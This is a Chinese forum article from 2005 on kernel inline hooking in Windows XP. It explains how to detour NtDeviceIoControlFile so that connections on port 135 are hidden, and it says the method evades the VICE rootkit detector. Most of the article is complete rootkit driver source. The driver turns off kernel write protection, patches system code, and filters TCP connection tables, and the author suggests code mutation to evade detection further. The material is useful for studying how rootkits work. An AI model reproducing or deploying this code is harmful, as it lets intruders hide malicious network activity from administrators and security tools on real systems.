kernel inline hook 绕过vice检测创建时间:2005-11-05 文章属性:原创 文章提交:jqzmb (jqzmb_at_163.com) kernel inline hook 绕过vice检测 uty@uaty zmba@tom.com 在user mode的inline hook比较好用,因为很少有多线程的问题,所以可以采用把API前5字节改为跳转指令到自己的函数中,然后再改回原来的5个字节,调用原函数后在把前5个字节改为跳转指令为下次做好准备,过程大概如下 比如hook API(),我们的函数为myAPI() 修改API()前5字节为jmp xxxx(指向myAPI()), 1 | | 调用API() 2 | | 跳转到myAPI() 3 | | (myAPI()中)改回原来的5字节 4 | | ... 一些操作 5 | | (myAPI()中)调用API() 6 | | .... 一些操作 7 | | (myAPI()中)再次修改API前5字节为jmp xxxx(指向myAPI()) 8 | | 结束 9 这个过程在kernel就不那么方便了,很不稳定,因为系统服务是整个windows都会经常调用,n多线程,如果一个线程调用了被hook的系统服务,当运行到 4--8之间的时候,线程被切换,另一个线程再次调用相同的系统服务时就会出现系统服务没被hook的情况.如果正好在执行到4或8的时候被中断,在其他 线程调用系统服务的时候就可能是BSOD了 :) 如果说是提高irql或block其他线程,总不能每次都那样吧 听说是这样的hook很不稳定,自己倒还没试 过,不知道实际情况到底怎样 看到了Greg Hoglund的migsys.sys 的确是个好程序,里面的hook只需要改写一次就可以一直hook,稳定性很好,我在虚拟机上实验,没问题,不过扁要赶上改写那一次的时候被中断....哎 只能说点背migsys.c里在驱动加载后改写系统服务的前5个字节跳转到自己给出的hook 函数中,拿NtDeviceIoControlFile为例,hook函数为 __declspec(naked) my_function_detour_ntdeviceiocontrolfile() { __asm { // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C] // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } 注意到 __emit 0xEA __emit 0xAA __emit 0xAA __emit 0xAA __emit 0xAA __emit 0x08 __emit 0x00 这是一句跳转语句 jmp 0008:AAAAAAAA 在驱动开始的时候就会寻找AAAAAAAA,把这里改写为被hook的NtDeviceIoControlFile+8的位置,这样在系统调用NtDeviceIoControlFile直接jmp到my_function_detour_ntdeviceiocontrolfile,接着执行 push ebp,esp push 0x01 push dword ptr [ebp+0x2c] (共8字节,不同版本windows的函数可能会有变化) 接下来jmp到NtDeviceIoControlFile+8,由于my_function_detour_ntdeviceiocontrolfile是__declspec(naked), 所以在进入后堆栈不会被改变,相当于执行了一个完整的NtDeviceIoControlFile.只不过前8个字节执行的地方不同 :> 我们可以在 push ebp前直接做些我们要的操作,不可以用局部变量,调用函数,对传入NtDeviceIoControlFile的参数做处理或者过滤之类的操作. 但对于hook NtDeviceIoControlFile来实现隐藏端口和连接,我们是在调用成功后对结果进行过滤,而在jmp到NtDeviceIoControlFile+8后,我们就交出了程序的控制权.所以必须要让它执行完后再次转到我们的程序里.如果执行后要返回的话,就要用cAll指令,但cAll NtDeviceIoControlFile+8是不行的,被压入栈的返回地址放在了进栈的ebp的后面,乱了.这个办法行不通. 肯定会有不同的方法来完成,我现在只想到了一个,并且希望让编译器帮着做大部分事,,我只用c就好了 ;) 模仿这种: NTSTATUS NTAPI myNtDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { NTSTATUS rc; rc = NtDeviceIoControlFile( FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, IoControlCode, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength ); ... } 然后我们可以对返回值做一些操作,就相当在我们的函数里调用了NtDeviceIoControlFile NtDeviceIoControlFile有10个参数,调用时堆栈应该是这个样 Arg10 Arg9 Arg8 Arg7 Arg6 Arg5 Arg4 Arg3 Arg2 Arg1 ret Address 因为在系统调用的时候就已经压好了参数,所以我们的hook函数就不能自己再做了,要声名__declspec(naked),参数要和原函数一致.进入后模拟 cAll NtDeviceIoControlFile __asm { push OutputBufferLength push OutputBuffer push InputBufferLength push InputBuffer push IoControlCode push IoStatusBlock push ApcContext push ApcRoutine push Event push FileHandle } 然后是ret Address,这个需要在运行时确定,用到了病毒中常用的定位的方法: cAll forwArd: bAck: pop eAx ... forwArd: jmp bAck: 得到pop eAx所在的位置 在我们的程序中: __asm { //int 3 jmp forwArd bAck: } __asm { // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C] // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } ////////////////////////// __asm { forwArd: call bAck } 实现了一个完整的cAll NtDeviceIoControlFile :> __declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { //NTSTATUS rc; 这里不能用局部变量,因为NtDeviceIoControlFile被调用的 环境可不确定,可以用全局变量(我们的Driver用服务的方式加载会在nonpAgedpool中或者直接在nonpAgedPool中申请 //TCP_REQUEST_QUERY_INFORMATION_EX req; //TCPAddrEntry* TcpTable;// = NULL; //TCPAddrExEntry* TcpExTable;// = NULL; //ULONG numconn; //ULONG i; __asm { push ebp mov ebp,esp } //DbgPrint("hooked\n"); __asm { push OutputBufferLength push OutputBuffer push InputBufferLength push InputBuffer push IoControlCode push IoStatusBlock push ApcContext push ApcRoutine push Event push FileHandle } __asm { //int 3 jmp forwArd bAck: } __asm { //popfd //popad // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C] // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } ////////////////////////// __asm { forwArd: call bAck } /* __asm { mov esp,ebp pop ebp ret 0x28 } */ //DbgPrint("once here :>\n"); __asm { mov rc,eax } if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){ //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } //TcpTable = NULL; //TcpExTable = NULL; if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){ numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ){ if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) { //判断是否是最后一个 if (i != numconn -1){ RtlCopyMemory((TcpTable+i),(TcpTable+i+1),((numconn-i-1)*sizeof(TCPAddrEntry))); numconn--; i--; }else{ numconn--; } } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } } //return(rc); __asm { mov esp,ebp pop ebp mov eax,rc ret 0x28 } } 声名__declspec(naked)的函数是不能用return语句的,因此这个工作得自己做 :> 上面的方法相比直接改SSDT就隐蔽些了,但被vice查出来,太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如 NtDeviceIoControlFile, nt!NtDeviceIoControlFile: 805997c4 55 push ebp 805997c5 8bec mov ebp,esp 805997c7 6a01 push 0x1 805997c9 ff752c push dword ptr [ebp+0x2c] 805997cc ff7528 push dword ptr [ebp+0x28] 805997cf ff7524 push dword ptr [ebp+0x24] 805997d2 ff7520 push dword ptr [ebp+0x20] 805997d5 ff751c push dword ptr [ebp+0x1c] 805997d8 ff7518 push dword ptr [ebp+0x18] 805997db ff7514 push dword ptr [ebp+0x14] 805997de ff7510 push dword ptr [ebp+0x10] 805997e1 ff750c push dword ptr [ebp+0xc] 805997e4 ff7508 push dword ptr [ebp+0x8] 805997e7 e8e731ffff call nt!IopXxxControlFile (8058c9d3) 805997ec 5d pop ebp 805997ed c22800 ret 0x28 805997f0 0f862334ffff jbe nt!IopXxxControlFile+0x570 (8058cc19) ... 前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了 比如选定 805997cc ff7528 push dword ptr [ebp+0x28] 805997cf ff7524 push dword ptr [ebp+0x24] 805997d2 ff7520 push dword ptr [ebp+0x20] 这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间 当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了 805997c4 55 push ebp 805997c5 8bec mov ebp,esp 805997c7 6a01 push 0x1 805997c9 ff752c push dword ptr [ebp+0x2c] 所以要执行对应相反的语句来恢复堆栈 __asm { add esp,8 mov esp,ebp pop ebp } 然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上. 在自己的xp sp1下vice2.0通过,结合变形,效果会更好吧 :> 代码如下: ////////////inline_hook.c/////////////// #include <ntddk.h> #include "hideport_hook_ZwDeviceIoControlFile.h" NTSTATUS rc; TCP_REQUEST_QUERY_INFORMATION_EX req; TCPAddrEntry* TcpTable = NULL; TCPAddrExEntry* TcpExTable = NULL; ULONG numconn; ULONG i; //-------------------------------------------------------------------- NTSYSAPI NTSTATUS NTAPI NtDeviceIoControlFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, IN ULONG DeviceIoControlCode, IN PVOID InBuffer OPTIONAL, IN ULONG InBufferLength, OUT PVOID OutBuffer OPTIONAL, IN ULONG OutBufferLength ); NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() { int i=0; char *p = (char *)NtDeviceIoControlFile; //The beginning of the NtDeviceIoControlFile function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01 //FF752C PUSH DWORD PTR [EBP + 2C] char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C }; while(i<8) { DbgPrint(" - 0x%02X ", (unsigned char)p[i]); DbgPrint("\n"); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } //-------------------------------------------------------------------- // naked functions have no prolog/epilog code - they are functionally like the // target of a goto statement __declspec(naked) NTAPI my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ) { //NTSTATUS rc; //TCP_REQUEST_QUERY_INFORMATION_EX req; //TCPAddrEntry* TcpTable;// = NULL; //TCPAddrExEntry* TcpExTable;// = NULL; //ULONG numconn; //ULONG i; __asm { add esp,8 mov esp,ebp pop ebp } __asm { push ebp mov ebp,esp pushad } //DbgPrint("hooked\n"); __asm { push OutputBufferLength push OutputBuffer push InputBufferLength push InputBuffer push IoControlCode push IoStatusBlock push ApcContext push ApcRoutine push Event push FileHandle } __asm { //int 3 jmp forwArd bAck: } __asm { // exec missing instructions push ebp mov ebp, esp push 0x01 push dword ptr [ebp+0x2C] push dword ptr [ebp+0x28] push dword ptr [ebp+0x24] push dword ptr [ebp+0x20] // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } ////////////////////////// __asm { forwArd: call bAck } //DbgPrint("once here :>\n"); __asm { mov rc,eax } if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){ //return(rc); __asm { popad mov esp,ebp pop ebp mov eax,rc ret 0x28 } } if( NT_SUCCESS( rc ) ) { req.ID.toi_entity.tei_entity = CO_TL_ENTITY; req.ID.toi_entity.tei_instance = 0; req.ID.toi_class = INFO_CLASS_PROTOCOL; req.ID.toi_type = INFO_TYPE_PROVIDER; req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID; if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){ numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry); TcpTable = (TCPAddrEntry*)OutputBuffer; for( i=0; i<numconn; i++ ){ if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) { //判断是否是最后一个 if (i != numconn -1){ RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) ); numconn--; i--; }else{ numconn--; } } } IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry); //return(rc); __asm { popad mov esp,ebp pop ebp mov eax,rc ret 0x28 } } req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID; if(sizeof(TDIObjectID) == RtlCompareMemory(InputBuffer,&req,sizeof(TDIObjectID))){ numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry); TcpExTable = (TCPAddrExEntry*)OutputBuffer; for( i=0; i<numconn; i++ ) { if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) { if (i != numconn){ RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) ); numconn--; i--; }else{ numconn--; } } } IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry); //return(rc); __asm { popad mov esp,ebp pop ebp mov eax,rc ret 0x28 } } } //return(rc); __asm { popad mov esp,ebp pop ebp mov eax,rc ret 0x28 } } //-------------------------------------------------------------------- VOID DetourFunctionNtDeviceIoControlFile() { char *actual_function = (char *)NtDeviceIoControlFile; unsigned long detour_address; unsigned long reentry_address; int i = 0; // assembles to jmp far 0008:11223344 where 11223344 is address of // our detour function, plus one NOP to align up the patch char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 }; // reenter the hooked function at a location past the overwritten opcodes // alignment is, of course, very important here reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17; detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile; // stamp in the target address of the far jmp *( (unsigned long *)(&newcode[1]) ) = detour_address; // now, stamp in the return jmp into our detour // function for(i=0;i<200;i++){ if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) && (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address; break; } } //TODO, raise IRQL //overwrite the bytes in the kernel function //to apply the detour jmp _asm { CLI //dissable interrupt MOV EAX, CR0 //move CR0 register into EAX AND EAX, NOT 10000H //disable WP bit MOV CR0, EAX //write register back } for(i=8;i < 17;i++) { actual_function[i] = newcode[i-8]; } _asm { MOV EAX, CR0 //move CR0 register into EAX OR EAX, 10000H //enable WP bit MOV CR0, EAX //write register back STI //enable interrupt } //TODO, drop IRQL } VOID UnDetourFunction() { //TODO! } //-------------------------------------------------------------------- VOID OnUnload( IN PDRIVER_OBJECT DriverObject ) { DbgPrint("My Driver Unloaded!\n"); UnDetourFunction(); } //-------------------------------------------------------------------- NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath ) { DbgPrint("My Driver Loaded!"); // TODO!! theDriverObject->DriverUnload = OnUnload; if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){ DbgPrint("Match Failure on NtDeviceIoControlFile!\n"); return STATUS_UNSUCCESSFUL; } DetourFunctionNtDeviceIoControlFile(); return STATUS_SUCCESS; } //-------------------------------------------------------------------- //////////hideport_hook_ZwDeviceIoControlFile.h///////////// #include <ntddk.h> //-------------------------------------------------------------------- NTSYSAPI NTSTATUS NTAPI ZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); NTSTATUS NTAPI myZwDeviceIoControlFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); typedef NTSTATUS (NTAPI *ZWDEVICEIOCONTROLFILE)( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG IoControlCode, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer OPTIONAL, IN ULONG OutputBufferLength ); //-------------------------------------------------------------------- // jiurl // from addrconv.cpp #define ntohs(s) ( ( ((s) >> 8) & 0x00FF ) | ( ((s) << 8) & 0xFF00 ) ) // jiurl // from tcpioctl.h tdiinfo.h tdistat.h #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //* Structure of an entity ID. typedef struct TDIEntityID { ULONG tei_entity; ULONG tei_instance; } TDIEntityID; //* Structure of an object ID. typedef struct TDIObjectID { TDIEntityID toi_entity; ULONG toi_class; ULONG toi_type; ULONG toi_id; } TDIObjectID; #define CONTEXT_SIZE 16 // // QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer // in the DeviceIoControl request. This structure is passed as the // InputBuffer. // struct tcp_request_query_information_ex { TDIObjectID ID; // object ID to query. ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed // for the first request. }; typedef struct tcp_request_query_information_ex TCP_REQUEST_QUERY_INFORMATION_EX, *PTCP_REQUEST_QUERY_INFORMATION_EX; #define CO_TL_ENTITY 0x400 #define INFO_CLASS_PROTOCOL 0x200 #define INFO_TYPE_PROVIDER 0x100 //-------------------------------------------------------------------- typedef struct TCPSNMPInfo { ULONG tcpsi_RtoAlgorithm; ULONG tcpsi_RtoMin; ULONG tcpsi_RtoMax; ULONG tcpsi_MaxConn; ULONG tcpsi_ActiveOpens; ULONG tcpsi_PassiveOpens; ULONG tcpsi_AttemptFails; ULONG tcpsi_EstabResets; ULONG tcpsi_CurrEstab; ULONG tcpsi_InSegs; ULONG tcpsi_OutSegs; ULONG tcpsi_RetransSegs; ULONG tcpsi_unknown1; ULONG tcpsi_unknown2; ULONG tcpsi_numconn; } TCPSNMPInfo; #define tcpRtoAlgorithm_other 1 // none of the following #define tcpRtoAlgorithm_constant 2 // a constant rto #define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B #define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm #define TCP_MIB_STATS_ID 1 #define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101 #define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102 typedef struct TCPAddrEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; } TCPAddrEntry; #define tcpConnState_closed 1 #define tcpConnState_listen 2 #define tcpConnState_synSent 3 #define tcpConnState_synReceived 4 #define tcpConnState_established 5 #define tcpConnState_finWait1 6 #define tcpConnState_finWait2 7 #define tcpConnState_closeWait 8 #define tcpConnState_lastAck 9 #define tcpConnState_closing 10 #define tcpConnState_timeWait 11 #define tcpConnState_deleteTCB 12 typedef struct TCPAddrExEntry { ULONG tae_ConnState; ULONG tae_ConnLocalAddress; ULONG tae_ConnLocalPort; ULONG tae_ConnRemAddress; ULONG tae_ConnRemPort; ULONG pid; } TCPAddrExEntry; |